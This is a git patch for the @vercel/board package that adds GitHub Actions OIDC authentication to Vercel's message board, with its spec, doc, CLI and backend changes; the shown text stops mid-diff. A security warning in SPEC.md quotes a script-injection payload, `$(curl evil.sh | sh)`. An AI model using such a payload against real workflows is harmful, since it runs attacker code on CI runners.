From cba8e072b7fab387afdad6ba5a2ec643e09e0c8d Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Thu, 19 Nov 2026 23:11:13 -0300 Subject: [PATCH 01/12] feat(backend-vercel): send a GitHub Actions job's OIDC token On Vercel's board, a GitHub Actions job with id-token: write now goes as its own OIDC token, made out to https://api.vercel.com/v1/messageboard and sent as a Bearer token: after an app's login, the deployment's OIDC token, and BOARD_TOKEN, and before vercel login. A GitHub token names no team, so with no --scope or VERCEL_ORG_ID a request fails before it's sent with missing_team. Grants naming --github or --oidc, and explains for them, go to Vercel's API as they are: the client no longer rewrites unsupported_principal into a hint about apps and exchange policies. vercel() reads the API's github and oidc principals and shows them as workflows, by repository and by subject. --- .changeset/vercel-board-github-oidc.md | 7 + SPEC.md | 27 ++- packages/board/docs/01-board/01-mounting.md | 15 +- packages/board/docs/01-board/03-identity.md | 2 +- packages/board/docs/03-guides/03-ci.md | 78 ++++--- packages/board/docs/04-reference/01-cli.md | 25 ++- packages/board/docs/04-reference/02-board.md | 4 +- .../board/docs/04-reference/05-conformance.md | 2 +- packages/board/src/backend-vercel/index.ts | 65 +++++- packages/board/src/cli/main.ts | 17 +- packages/board/src/client/node.ts | 11 +- packages/board/src/conformance/index.ts | 9 +- packages/board/src/server/backend-vercel.ts | 88 ++++---- packages/board/src/server/board.ts | 4 +- packages/board/test/backend-vercel.test.ts | 53 +++-- packages/board/test/cli-embedded.test.ts | 84 +++++++- packages/board/test/messageboard-grants.ts | 25 ++- packages/board/test/messageboard.ts | 57 ++++- .../board/test/vercel-github-actions.test.ts | 199 ++++++++++++++++++ 19 files changed, 597 insertions(+), 175 deletions(-) create mode 100644 .changeset/vercel-board-github-oidc.md create mode 100644 packages/board/test/vercel-github-actions.test.ts diff --git a/.changeset/vercel-board-github-oidc.md b/.changeset/vercel-board-github-oidc.md new file mode 100644 index 000000000..b86e65ffa --- /dev/null +++ b/.changeset/vercel-board-github-oidc.md @@ -0,0 +1,7 @@ +--- +'@vercel/board': minor +--- + +On Vercel's board, a GitHub Actions job goes as its own OIDC token, with no secret to store. In a job with `permissions: id-token: write`, the CLI and `board()` ask GitHub for a token made out to `https://api.vercel.com/v1/messageboard` and send it as a Bearer token: after the login of an app that runs board's CLI, the deployment's OIDC token, and `BOARD_TOKEN`, and before `vercel login`. `vb whoami` says `source GitHub Actions OIDC`. A GitHub token names no team, so `--scope ` or `VERCEL_ORG_ID` names it; with neither, a request fails before it's sent with `missing_team` (reason `missing_scope` in the CLI). A 401 to that token says to pass one in `BOARD_TOKEN`, not to log in. + +`vb grants create`, `update`, and `explain` with `--github` or `--oidc` go to Vercel's API, which takes them: `vb grants create --github acme/www --git-branch main --can 'ci/=post'`. An API that still refuses one is said in its own words, with no hint of the handle's about apps or exchange policies. A run writes as `github:repo:`, with its repository as its handle, and another issuer's caller as `oidc::`, with its `sub`; both are of kind `workflow`. One the team's board doesn't let in is told the grant that would, and makes no board. diff --git a/SPEC.md b/SPEC.md index 253e0365c..75a9516b0 100644 --- a/SPEC.md +++ b/SPEC.md @@ -22,7 +22,7 @@ team. With `BOARD_URL` set, in Node, it's the board at that URL instead (`http()`, internal too: `src/server/backend-http.ts`), which is `vb serve`'s. Neither backend is exported: people write `board()`. In a Vercel deployment it authenticates with the deployment's OIDC token, and -elsewhere with `BOARD_TOKEN` or the Vercel CLI's login, never `VERCEL_TOKEN`. Vercel's API keeps +elsewhere with `BOARD_TOKEN`, a GitHub Actions job's OIDC token, or the Vercel CLI's login, never `VERCEL_TOKEN`. Vercel's API keeps the board: messages, threads, reactions, labels, a channel's changes, schedules, files, and watchers, whose matches it wakes the deployment to run. It doesn't run sync yet: `board({ sync })` on it throws when it binds. @@ -258,16 +258,18 @@ checked with `@vercel/board/conformance`. board by its ID; `api`; `files`, how bytes reach storage) have no public form, and `team` and `fetch` are `board()`'s. It keeps nothing: its methods call `/v1/messageboard` as this deployment, with its OIDC token, or as you, - with `BOARD_TOKEN` or the login the Vercel CLI hands it, on the board + with `BOARD_TOKEN` or the login the Vercel CLI hands it, or in GitHub Actions + as the job's run, with its OIDC token for `https://api.vercel.com/v1/messageboard`, on the board `board({ name, team })` names. Messages, threads, reactions, labels, a channel's changes, schedules, files (direct uploads too, on URLs the API signs for the bytes' SHA-256), and watchers work. Vercel's API posts each schedule's sends, so `board()`'s middleware screens a schedule when it's made. What the API doesn't keep yet answers 501 `not_supported`: files on a scheduled message and a post's sync - targets. Grants go to the API, which takes no `github` or `oidc` - principal in a grant, or explains one (400 `unsupported_principal`: an app, - which an OIDC exchange policy issues tokens for, stands in); `vercel()` - says the refusals with a hint. It + targets. Grants go to the API, `github` and `oidc` principals included, + and what it refuses is said in its own words. It names a GitHub Actions run + `github:repo:` (handle `owner/repo`) and another issuer's + caller `oidc::` (handle its `sub`), both of kind + `workflow`. It runs no sync: `bind` throws for a board with `sync`, `readSource` answers 404 `not_synced_here`, and `typing` reaches no targets. Only a deployment's own credentials register watchers there: its OIDC token. Its watchers run as @@ -2038,13 +2040,17 @@ const reply = await team.wait({ re: msg.id, after: msg.id }, { timeout: '30m' }) - **`board()` with no backend is the team's board in Vercel's API,** the one `name` names on the team `team` names, on `vercel()`, with `board({ fetch })`'s credentials when it's given. In Node they default to - the deployment's OIDC token, which nothing in the environment replaces, or else `BOARD_TOKEN`, then the + the deployment's OIDC token, which nothing in the environment replaces, or else `BOARD_TOKEN`, then a + GitHub Actions job's OIDC token (both `ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` + set, audience `https://api.vercel.com/v1/messageboard`), sent as it is, then the login a CLI hands it (`VERCEL_AUTH_TOKEN`) or your `vercel login`, never `VERCEL_TOKEN`. A CLI that embeds board's says who its commands run as: the login it gives (`createApp({ login })`, or `createApp({ token })` for one someone passed it for a run, as `vercel board --token`) is the one that goes, wherever that CLI runs, ahead of them all, so `vercel board` is you, as every `vercel` command is, and a deployment's project or `BOARD_TOKEN` is `vb`'s to be. The team defaults - to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. With `BOARD_URL` set (in Node), + to `VERCEL_ORG_ID`, the deployment's when its token is what goes, or `.vercel/project.json`'s. A GitHub + token names no team, so with none of these a request fails before it's sent (`missing_team`): pass + `--scope ` or set `VERCEL_ORG_ID`. With `BOARD_URL` set (in Node), it's that board instead (on `http()`, internal), whatever the name: it sends a token in the order in [Tokens](#tokens), through Deployment Protection, and `board({ fetch })` never goes there. The default build, for @@ -2401,10 +2407,13 @@ permissions: steps: - run: npx -y @vercel/board post errors-www "deploy failed: $SHA" --label source=ci env: - BOARD_URL: https://www.example.com/api/board + VERCEL_ORG_ID: team_abc123 SHA: ${{ github.sha }} ``` +A grant lets the repository's runs in, with no secret: +`vb grants create --github acme/www --git-branch main --can 'errors-www=post'`. + **Pass event data through `env:`, never as `${{ }}` inside `run:`.** A PR title like `` $(curl evil.sh | sh) `` executes if it's interpolated into a script. This is GitHub's classic script-injection hole. diff --git a/packages/board/docs/01-board/01-mounting.md b/packages/board/docs/01-board/01-mounting.md index 6bb0835ea..55cffa480 100644 --- a/packages/board/docs/01-board/01-mounting.md +++ b/packages/board/docs/01-board/01-mounting.md @@ -63,7 +63,9 @@ on any backend, and the backend stores. SSE, [the handle](#the-handle), - **It acts as this deployment, or as you.** In a Vercel deployment it sends the deployment's OIDC token and writes as its project, `vercel:project:prj_x:production`. Nothing replaces that token there. Elsewhere it - sends `BOARD_TOKEN`, or else your Vercel CLI login (`VERCEL_AUTH_TOKEN`, or + sends `BOARD_TOKEN`, or else in GitHub Actions the job's OIDC token (it + writes as `github:repo:`, on the team `VERCEL_ORG_ID` or + `team` names), or else your Vercel CLI login (`VERCEL_AUTH_TOKEN`, or `vercel login`'s), and writes as whoever that is. It never sends `VERCEL_TOKEN`, which people set for other reasons. `fetch` sends other credentials. - **Only a deployment's own credentials register watchers.** Anyone else's @@ -108,7 +110,7 @@ backend: | Option | What it does | | --- | --- | | `backend` | `local()`, or your own. Default: your team's board in Vercel's API, the one `name` names, or in Node with `BOARD_URL` set, the board there, as [the handle](#a-handle-on-a-board-elsewhere) finds it | -| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then `VERCEL_AUTH_TOKEN` or your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it | +| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then a GitHub Actions job's OIDC token, then `VERCEL_AUTH_TOKEN` or your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it | | `name` | Which of the team's boards this is, by its name: `security`. Default: the team's default board. See [A board by its name](#a-board-by-its-name) | | `team` | Whose board this is: another team's, by its ID or slug, with `name` or without it for that team's default board. Default: the team the environment finds | | `authenticate` | Who a request is. Default `oidcTokens()` from `@vercel/board/access`, which verifies its bearer token for the board's URL. Or a host's own verifier, `(request) => ({ id, kind, handle })`: see [Callers of your own](#callers-of-your-own) | @@ -265,10 +267,11 @@ await team.post('deploys', 'www@a1b2c3 is live') In Node it finds the team and credentials as the Vercel CLI and a deployment do. The team is `VERCEL_ORG_ID`, the deployment's, or the nearest `.vercel/project.json`'s, unless `team` says another (`acme`). The -credentials are the deployment's OIDC token, or else `BOARD_TOKEN`, then -`VERCEL_AUTH_TOKEN` or your -`vercel login`, or what `fetch` sends: a deployment writes as its project, and -you as yourself. Its profile is the one `BOARD_PROFILE` names, or none; +credentials are the deployment's OIDC token, or else `BOARD_TOKEN`, then a +GitHub Actions job's OIDC token, then `VERCEL_AUTH_TOKEN` or your +`vercel login`, or what `fetch` sends: a deployment writes as its project, a +workflow as its repository's runs, and you as yourself. A GitHub token names +no team, so in Actions `team` or `VERCEL_ORG_ID` names it. Its profile is the one `BOARD_PROFILE` names, or none; `team.as(null)` acts as yourself. With `BOARD_URL` set, it's the board at that URL instead, whatever the name: diff --git a/packages/board/docs/01-board/03-identity.md b/packages/board/docs/01-board/03-identity.md index b3e94507b..e2107d163 100644 --- a/packages/board/docs/01-board/03-identity.md +++ b/packages/board/docs/01-board/03-identity.md @@ -25,7 +25,7 @@ The CLI and `board()` in Node find a token themselves. The first match wins: | --- | --- | --- | | Explicit | `BOARD_TOKEN`: an OIDC JWT for the board's audience, from Vercel, GitHub Actions, or an issuer a grant names; or a placeholder a sandbox's network policy replaces with the real credential | the issuer's | | A board from `vb serve` | the token it writes to a file only you can read, for its `127.0.0.1` URL | `local:user:` | -| GitHub Actions | the job's OIDC token, for the board's audience; needs `permissions: id-token: write` | `github:repo:` | +| GitHub Actions | the job's OIDC token, for the board's audience (`https://api.vercel.com/v1/messageboard` on Vercel's board); needs `permissions: id-token: write` | `github:repo:` | | A Vercel deployment | `getVercelOidcToken({ audience })` from `@vercel/oidc`, when `VERCEL=1` | `vercel:project::` | | A local terminal | your `vercel login`, minted for the board's project and exchanged for its audience | `vercel:user:` | | A board with no Vercel project | no token: the request goes without one, and what verifies the board's callers says who it is. [`vb serve --tailscale`](../03-guides/08-tailnet.md) takes Tailscale's word | `tailscale:user:` there | diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index 96d681a21..1a0fd828f 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -26,14 +26,19 @@ jobs: - if: failure() run: npx -y @vercel/board post errors-www "deploy failed on $SHA" --label source=ci --idempotency-key "deploy-$SHA" env: - BOARD_URL: https://team.example/api/board + VERCEL_ORG_ID: team_abc123 # the team whose board it is, by its ID SHA: ${{ github.sha }} ``` - **The CLI finds the token itself.** In Actions it asks GitHub for a token - whose audience is the board's URL, so it's good for that board and nothing - else. Without `id-token: write`, GitHub gives the job no token, so the CLI - falls through to a `vercel login` the runner doesn't have, and fails. + whose audience is Vercel's API, `https://api.vercel.com/v1/messageboard`, + and sends it as it is, so it's good for the team's boards and nothing else. + With `BOARD_URL` set, the audience is that board's URL instead. Without + `id-token: write`, GitHub gives the job no token, so the CLI falls through + to a `vercel login` the runner doesn't have, and fails. +- **You name the team.** A GitHub token names no Vercel team, so + `VERCEL_ORG_ID` or `--scope ` says whose board it is. With + neither, the CLI says to pass one. - **`--idempotency-key` makes a retried step post once.** The same ID with the same write returns the message already posted. - **The post is an ordinary thread.** If `errors-www` mirrors a Slack channel, @@ -46,28 +51,25 @@ jobs: ### Let the workflow in -A workflow has no Vercel login, so it can't use the team's board in Vercel's -API by itself. A board that keeps [grants](../01-board/09-access.md#grants) -lets it in by its token: one on [`local()`](../01-board/10-local.md) that your -team serves in a long-running process, or a -[backend of your own](../01-board/01-mounting.md#a-backend-of-your-own). -Vercel's board takes no grant for a repository's runs or an OIDC issuer: it -answers 400 `unsupported_principal`. There a workflow gets in as a Vercel -App. An OIDC exchange policy issues the run a Vercel App token, and a grant -names that app, `vb grants create --app --can …`, or every app with -`--all-apps`. On a board that keeps them, someone with `manage` in every -channel grants the repo's runs what they may do, with no deploy: +A workflow has no Vercel login. The board lets it in by its token, through a +[grant](../01-board/09-access.md#grants) for its repository: the team's board +in Vercel's API does, and so does any board that keeps grants, such as one on +[`local()`](../01-board/10-local.md) that your team serves in a long-running +process, or a [backend of your own](../01-board/01-mounting.md#a-backend-of-your-own). +Someone with `manage` in every channel grants the repo's runs what they may +do, with no deploy: ```text -$ vb grants create --github acme/www --event push --can 'errors-www=post,label;deploys=read,post' -created g4 --github acme/www --event push errors-www=post,label deploys=read,post +$ vb grants create --github acme/www --git-branch main --can 'errors-www=post,label;deploys=read,post' +created g4 --github acme/www --git-branch main errors-www=post,label deploys=read,post ``` -The grant matches the token's `repository` and `event_name`, and a -`--workflow` or `--git-branch` you add narrows it to that workflow file or -branch. The workflow writes as `github:repo:`, with the -handle `acme/www`. A workflow no grant lets in gets a 403 whose hint is the -grant to create: `Grant it: vb grants create --github acme/www`. +The grant matches the token's `repository`, and `--git-branch` its `ref`: +this one lets in runs on `main`, as the workflow above is. A `--workflow` or +`--event` you add narrows it to that workflow file or event. The workflow +writes as `github:repo:`, with the handle `acme/www`. A +workflow no grant lets in gets a 403 whose hint is the grant to create: +`Grant it: vb grants create --github acme/www`. `--can` says what it may do where. This one posts and labels in `errors-www`, for the step above, and reads and posts in `deploys`, which the wait below @@ -95,7 +97,7 @@ Writes print the new message's ID, so a step can post and then block on the answer: ```bash -# in a workflow step, with BOARD_URL and DEPLOY_URL in env: +# in a workflow step, with VERCEL_ORG_ID and DEPLOY_URL in env: id=$(npx -y @vercel/board post deploys "Ready to promote $DEPLOY_URL?") npx -y @vercel/board wait --re "$id" --after "$id" --text "ship it" --timeout 30m ``` @@ -106,7 +108,7 @@ fails the step. ### A protected route -If the board's deployment is behind Vercel Deployment Protection, add the +If the board at `BOARD_URL` is behind Vercel Deployment Protection, add the project's bypass secret to the step's `env:` and the CLI sends it: ```yaml @@ -167,10 +169,11 @@ this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to another project's board. ## From anywhere else `BOARD_TOKEN` takes an OIDC token you got yourself, and the CLI and `board()` -send it as is. It must be one the board at `BOARD_URL` verifies: its audience -is the board's URL, and it's from the board's own project or a caller a -[grant](../01-board/09-access.md#grants) lets in. Discovery tells you the -audience: +send it as is. It must be one the board verifies. For the team's board in +Vercel's API, its audience is `https://api.vercel.com/v1/messageboard`, and a +[grant](../01-board/09-access.md#grants) lets its caller in. For the board at +`BOARD_URL`, its audience is the board's URL, and it's from the board's own +project or a caller a grant lets in. Discovery tells you the audience: ```bash # in a terminal: @@ -190,14 +193,23 @@ In GitLab, a job's `id_tokens` with the board's audience is the token: ```yaml .gitlab-ci.yml notify: variables: - BOARD_URL: https://team.example/api/board + VERCEL_ORG_ID: team_abc123 # the team whose board it is, by its ID id_tokens: BOARD_TOKEN: - aud: https://team.example/api/board + aud: https://api.vercel.com/v1/messageboard script: - npx -y @vercel/board post deploys "api $CI_COMMIT_SHORT_SHA is live" ``` -The CLI looks for a token in this order: `BOARD_TOKEN`, a local board's -(`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. See -[Identity](../01-board/03-identity.md) for how each one maps to a principal. +It writes as `oidc::`, here +`oidc:gitlab.com:project_path:acme/api:ref_type:branch:ref:main`, with its +`sub` as its handle. For the board at `BOARD_URL`, set `BOARD_URL` and make +`aud` that board's URL. + +On the team's board in Vercel's API, the CLI looks for a token in this order: +the deployment's OIDC token, `BOARD_TOKEN`, GitHub Actions, then your +`vercel login`. For the board at `BOARD_URL`: `BOARD_TOKEN`, a local board's +(`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. A +CLI that runs board's, such as `vercel board`, sends its own login ahead of +them all. See [Identity](../01-board/03-identity.md) for how each one maps to +a principal. diff --git a/packages/board/docs/04-reference/01-cli.md b/packages/board/docs/04-reference/01-cli.md index 910dbfd00..7c857c3d3 100644 --- a/packages/board/docs/04-reference/01-cli.md +++ b/packages/board/docs/04-reference/01-cli.md @@ -97,8 +97,8 @@ With no board URL anywhere, it talks to your team's board in Vercel's API: login's default team. `--scope ` picks another, by its slug or ID. It reads and writes as the login the CLI that runs it gives it. Given none, it finds its credentials as `vb` does: a deployment's own token, or else -`BOARD_TOKEN`, or else you, with `VERCEL_AUTH_TOKEN` or `vercel login`'s. It -never sends `VERCEL_TOKEN`. +`BOARD_TOKEN`, or else a GitHub Actions job's OIDC token, or else you, with +`VERCEL_AUTH_TOKEN` or `vercel login`'s. It never sends `VERCEL_TOKEN`. ### In-process, on a handle @@ -273,7 +273,10 @@ itself. the Vercel CLI sets for a CLI it runs, or else your `vercel login`. That last one is cached in `~/.config/board/tokens/` for its 12-hour life. See [Identity](../01-board/03-identity.md). A team's board in Vercel's API - gets the deployment's OIDC token, or else `BOARD_TOKEN` or your Vercel login. + gets the deployment's OIDC token, or else `BOARD_TOKEN`, or else a GitHub + Actions OIDC token made out to `https://api.vercel.com/v1/messageboard`, or + else your Vercel login. A GitHub token names no Vercel team, so in Actions + `--scope ` or `VERCEL_ORG_ID` names it. - **A board with no Vercel project has no token for your login to mint,** so a request goes to it with none. A board that names its callers another way takes it: one [behind Tailscale](../03-guides/08-tailnet.md), say. Any other @@ -672,24 +675,20 @@ $ vb grants create --everyone --can factory/=read created g5 --everyone factory/=read ``` -Vercel's board takes no `--github` or `--oidc` principal: a workflow gets in -as a Vercel App, which an OIDC exchange policy issues its token for, and the -grant names that app (`--app`, or `--all-apps`). `create` and `update` say so, -with reason `unsupported_principal`: +On Vercel's board too, a grant names a repository's runs or an issuer, and a +workflow gets in with its own OIDC token, with no secret to store. See +[CI and deploys](../03-guides/03-ci.md#let-the-workflow-in): ```text -$ vb grants create --github acme/web --can 'ci/=post' --scope acme -error: Vercel's board takes no GitHub or OIDC principals in a grant. - - Grant an app that an OIDC exchange policy issues tokens for: --app . +$ vb grants create --github acme/web --git-branch main --can 'ci/=post' --scope acme +created g4 --github acme/web --git-branch main ci/=post ``` `explain` says which grant decides a channel: the pattern that won and those it won over, the closest grants there, and what they give. It explains you, or with `manage` at `*`, the one `--user`, `--project` (in one `--environment`), `--github`, `--oidc`, or `--app` it names. A local board has no apps, so -nothing lets one in there. Vercel's board explains no `--github` or `--oidc` -caller, since no grant there names one (`unsupported_principal`). A caller that can't list grants sees that +nothing lets one in there. A caller that can't list grants sees that one decides, not which: ```text diff --git a/packages/board/docs/04-reference/02-board.md b/packages/board/docs/04-reference/02-board.md index 646177e43..799b0274d 100644 --- a/packages/board/docs/04-reference/02-board.md +++ b/packages/board/docs/04-reference/02-board.md @@ -37,7 +37,8 @@ The short samples below act on that `team`, and on `msg`, the message In Node, `board()` with no backend is your team's board in Vercel's API, the one `name` names (`security`), or with `team`, another team's, with -the deployment's OIDC token, or else `BOARD_TOKEN`, then `VERCEL_AUTH_TOKEN` or your `vercel login`, or what +the deployment's OIDC token, or else `BOARD_TOKEN`, then a GitHub Actions job's OIDC token (audience +`https://api.vercel.com/v1/messageboard`, with the team from `team` or `VERCEL_ORG_ID`), then `VERCEL_AUTH_TOKEN` or your `vercel login`, or what `board({ fetch })` sends. See [A board by its name](../01-board/01-mounting.md#a-board-by-its-name). With `BOARD_URL` set, it's the board at that URL instead. It sends a token @@ -1034,6 +1035,7 @@ fails with the status its URL answered, or 502. | `no_access` | your Vercel account can't access the board's project, or can't see the project the board's host belongs to | | `wrong_project` | the board's host is a deployment of a project other than the one its discovery names, so the handle mints no token for it | | `no_token` | GitHub Actions refused an OIDC token (`permissions: id-token: write`) | +| `missing_team` | in GitHub Actions on Vercel's board, nothing names the team: a GitHub token names none, so pass `team` or set `VERCEL_ORG_ID` | | `protected` | the board is behind Vercel Deployment Protection: set `VERCEL_AUTOMATION_BYPASS_SECRET` | | `invalid_duration` | a `timeout` the handle can't read | | `too_many_redirects` | the board's URL redirects more than 20 times | diff --git a/packages/board/docs/04-reference/05-conformance.md b/packages/board/docs/04-reference/05-conformance.md index cfed08700..9def26d95 100644 --- a/packages/board/docs/04-reference/05-conformance.md +++ b/packages/board/docs/04-reference/05-conformance.md @@ -149,7 +149,7 @@ Then the rest, a group each in the report: | `paging` | posts three threads, reads the channel's latest two, then pages back by each page's `older` until it's `null`, and finds each thread once, its own three included; and refuses `before` with `after` (400 `invalid_request`). Skipped on a board whose pages have no `older` | | `schedules` | schedules a reply a day out, lists it, and cancels it; and keeps a schedule's `noSync`, so its sends stay off every platform | | `tasks` | starts a thread as a task and makes one of a thread that was there: its root reads with `task`, whose `by` is the actor that made it one, a reply lands in its thread, `board.task=ready` finds it, and `GET /tasks` lists it. A task made under a client ID lands once, and a create under an ID a reply or a thread that is no task landed with is 409 `duplicate_id`, with nothing made. Of three claims that race for a task, one lands and the rest get 409 `task_claimed`. A claim that asks for 300 seconds gets it, its `until` says so, a renewal moves it, and a claim that asks for none gets at least 5 minutes. A claim's writes are 409 `claim_lost` with the wrong token, after its release, and once another claim holds the task, and change nothing. A task waits for the tasks it needs, a failed or canceled one never readies it, and a reopened one that completes does, within a few seconds. A task that needs one already canceled is 400 `invalid_needs`, as a new thread or one that was there, and one that needs a failed task waits. What a task needs can change: it waits for the new ones, is ready in the same write when they have completed and at once with none, a held task stays held, and the feed shows each change with the task's state after it. A change that would make a task wait for itself, straight back or through another, is 400 `invalid_needs`, as is one a new task couldn't take. A claimed task refuses it with 409 `task_claimed`, and a completed, failed, or canceled one with 409 `task_finished`. A batch of four tasks is made in one request and answered in the order given: one that needs a later task of the batch waits for it by the ID the batch gave it, one that needs nothing is ready, one whose needs were there and have completed is ready, and one that needs both kinds waits. They list in that order, the same `id` again answers the same tasks and makes none, the `id` with one task more, or with as many but another text, is 409 `duplicate_id`, and completing one of the batch readies what waited only for it. A batch is 400 `invalid_needs`, and makes none of its tasks, for a `key` no task has, a `key` two have, a task that needs itself, tasks that need each other, and a last task that needs a canceled one. `GET /tasks?needs=` with a channel lists only that channel's tasks that wait for one, with a `prefix/` only that subtree's, and with neither the whole board's: two wait for one, in `conformance` and in `conformance/tasks`. Skipped for a token that can't post there. A task that needs others waits as it's made and as it's unblocked, and once they have completed, its `task.ready` follows, before the claim it was made with: the feed shows each change with the task's state after it, and no `task.ready` for a task that needs none. A hold blocks claims until it's lifted, and a claimed task's hold is its claim's. A task assigned to a profile is claimed only as that actor. A profile, narrowed with `x-board-can` to no `manage`, changes only the tasks it made: assigning, holding, canceling, or changing the needs of its principal's or another profile's is 403 `task_not_owned`, its principal as itself changes any of them, and a profile's edit of a thread its principal made a task holds it. Skipped for a run that can't send headers, or that writes as a profile. A caller narrowed with `x-board-can` to reading and posting claims no task, by ID or as the next ready one (403 `forbidden`): skipped for a run that can't send the header. So is the next: a caller narrowed to posting everywhere and reading only `conformance` names a prerequisite in `conformance/tasks`, which it can't read, and gets 400 `invalid_needs` starting a task and making one of a thread, with nothing made, while one it reads is a prerequisite as for anyone. A claim of the next ready task takes the oldest in a channel or its subtree that has the labels asked for, and one that waits gets a task released while it does. A feed filtered on `board.task=ready` shows a task become ready and get claimed, with no token in it. A label write or a post that sets a label under `board.` is 400 `reserved_label`. A label write holds on `board.task` as on any label: one whose `if` names a state the task isn't in, or none, is 409 `label_conflict`. An edit of a task's root by anyone but its owner blocks the task with kind `edited`, and ends its claim: the kit imports a thread as a platform user to check it, so it's skipped for a token that can't sync in the channel, or that has watchers or a sync registered. The assignment check is skipped through a board's own handle in its process, where each profile is a principal of its own. It waits out no lease, and has one principal: what a second one may claim or change isn't checked | -| `grants` | grants a project, lists it, and revokes it twice. Makes a second grant for the same principals, adds an app (or without one, a repository) and the project again (joining its environments) by the grant's ID, removes the project whatever its environments, and refuses to remove one it doesn't name (`not_in_grant`) or the last (`grant_empty`). Keeps `can` as written, a pattern with `[]` included. Through `explain`, in `conformance/grants/`: the most specific pattern decides, then the closest principal there, ties add up, `everyone` lets no one in and loses to `all-projects`, and a viewer reads but neither posts nor manages. Names an app and keeps it by client ID, then every app as a group. A caller narrowed with `x-board-can` to no `manage` changes no grant, and one narrowed to it only under `conformance/grants/inner/` only there. One narrowed out of a pattern grants no one past it, even once `everyone` is kept out too, and lets no one in while `everyone` gets more than it has somewhere. Skipped when the run can't change the board's grants, when it can't send `x-board-can`, for a caller no grant could keep in a pattern closed to everyone, without a viewer or an app to check (a local board has no apps), for a name the board can't look up, for a member shut out under a lock (a run couldn't lift the lock after), and across teams, which isn't specified yet. The checks that grant to someone besides the project name the `app` in `principals`, or without one the repository. On a board that takes no GitHub or OIDC principal in a grant (400 `unsupported_principal`, as Vercel's API answers), they're skipped without an app, and so is the one that explains for a repository's runs, which nothing lets in | +| `grants` | grants a project, lists it, and revokes it twice. Makes a second grant for the same principals, adds an app (or without one, a repository) and the project again (joining its environments) by the grant's ID, removes the project whatever its environments, and refuses to remove one it doesn't name (`not_in_grant`) or the last (`grant_empty`). Keeps `can` as written, a pattern with `[]` included. Through `explain`, in `conformance/grants/`: the most specific pattern decides, then the closest principal there, ties add up, `everyone` lets no one in and loses to `all-projects`, and a viewer reads but neither posts nor manages. Names an app and keeps it by client ID, then every app as a group. A caller narrowed with `x-board-can` to no `manage` changes no grant, and one narrowed to it only under `conformance/grants/inner/` only there. One narrowed out of a pattern grants no one past it, even once `everyone` is kept out too, and lets no one in while `everyone` gets more than it has somewhere. Skipped when the run can't change the board's grants, when it can't send `x-board-can`, for a caller no grant could keep in a pattern closed to everyone, without a viewer or an app to check (a local board has no apps), for a name the board can't look up, for a member shut out under a lock (a run couldn't lift the lock after), and across teams, which isn't specified yet. The checks that grant to someone besides the project name the `app` in `principals`, or without one the repository. On a board that takes no GitHub or OIDC principal in a grant (400 `unsupported_principal`), they're skipped without an app, and so is the one that explains for a repository's runs, which nothing lets in | | `schemas` | lists the built-in schemas first and reads `git-commit@1` by its ID, with 404 `schema_not_found` and 400 `invalid_schema_id` for one that isn't there and an ID that names none. Registers `conformance@1`, then again with its keys in another order (`created: false`), and is refused another definition or description for it (409 `schema_immutable`). Is refused a version of a built-in's name (409 `reserved_schema`), and definitions with no object at their root, a `$ref`, a `pattern`, or `uniqueItems` (400 `invalid_schema`). Posts a block of it among prose and one alone, and reads their `blocks` back; one inside a longer fence is text. Is refused a post and an edit whose block doesn't match (400 `invalid_block`), and a post whose block names no schema (400 `schema_not_found`). A caller narrowed to the channel reads them and registers none. The checks that register are skipped for a token that can't | | `attachments` | uploads a file, posts it, and downloads it. Starts a task with a file, which its root carries: skipped on a board that keeps no tasks | | `watchers` | registers a tail, pulls the match for a post, and acks it. Skipped when the token already has watchers or a sync registered there, since registering replaces them, and on credentials Vercel's API takes no watchers from: anything but a deployment's own (403 `watchers_need_project`) | diff --git a/packages/board/src/backend-vercel/index.ts b/packages/board/src/backend-vercel/index.ts index 57c222f24..62b6c6918 100644 --- a/packages/board/src/backend-vercel/index.ts +++ b/packages/board/src/backend-vercel/index.ts @@ -1,11 +1,12 @@ // Your team's board in Vercel's API, internal: board()'s default backend, and the CLI's. In Node, it finds credentials the way -// a deployment and the Vercel CLI do: the deployment's OIDC token, or else `BOARD_TOKEN` or your login. Never -// `VERCEL_TOKEN`, a name people set for other reasons, and nothing in the environment replaces a deployment's -// own token: only the login of an app that runs board's CLI goes ahead of it, since the app says who its commands run as. +// a deployment and the Vercel CLI do: the deployment's OIDC token, or else `BOARD_TOKEN`, a GitHub Actions job's OIDC token, +// or your login. Never `VERCEL_TOKEN`, a name people set for other reasons, and nothing in the environment replaces a +// deployment's own token: only the login of an app that runs board's CLI goes ahead of it, since the app says who its commands run as. import { readFile } from 'node:fs/promises' import { getVercelOidcToken, getVercelToken } from '@vercel/oidc' import { decodeJwt } from 'jose' -import { appLogin, asYou, environmentProfile, loginHanded, PASSED, passedToken, sandboxHeaders, vercelLogin, vercelProjectFile } from '../client/node.ts' +import { BoardError } from '../client/client.ts' +import { appLogin, asYou, environmentProfile, expiry, githubActionsToken, inGithubActions, loginHanded, PASSED, passedToken, sandboxHeaders, vercelLogin, vercelProjectFile } from '../client/node.ts' import { createVercel, type VercelBackend, type VercelEnvironment, type VercelOptions } from '../server/backend-vercel.ts' import { HttpError } from '../server/errors.ts' @@ -19,18 +20,52 @@ const asDeployment = () => !appLogin() && (process.env.VERCEL === '1' || !!proce /** Off a deployment, a credential Vercel's API takes, set for board: what a sandbox or CI passes. Not ahead of an app's login either. */ const boardToken = () => (appLogin() || asDeployment() ? null : process.env.BOARD_TOKEN || null) -/** Whether what goes is a Vercel login: an app's, or with no deployment's token and no `BOARD_TOKEN`, yours. */ -const asLogin = () => !asDeployment() && !boardToken() +/** Whether a GitHub Actions job's own OIDC token goes: in a job that may ask for one, with nothing above to send. 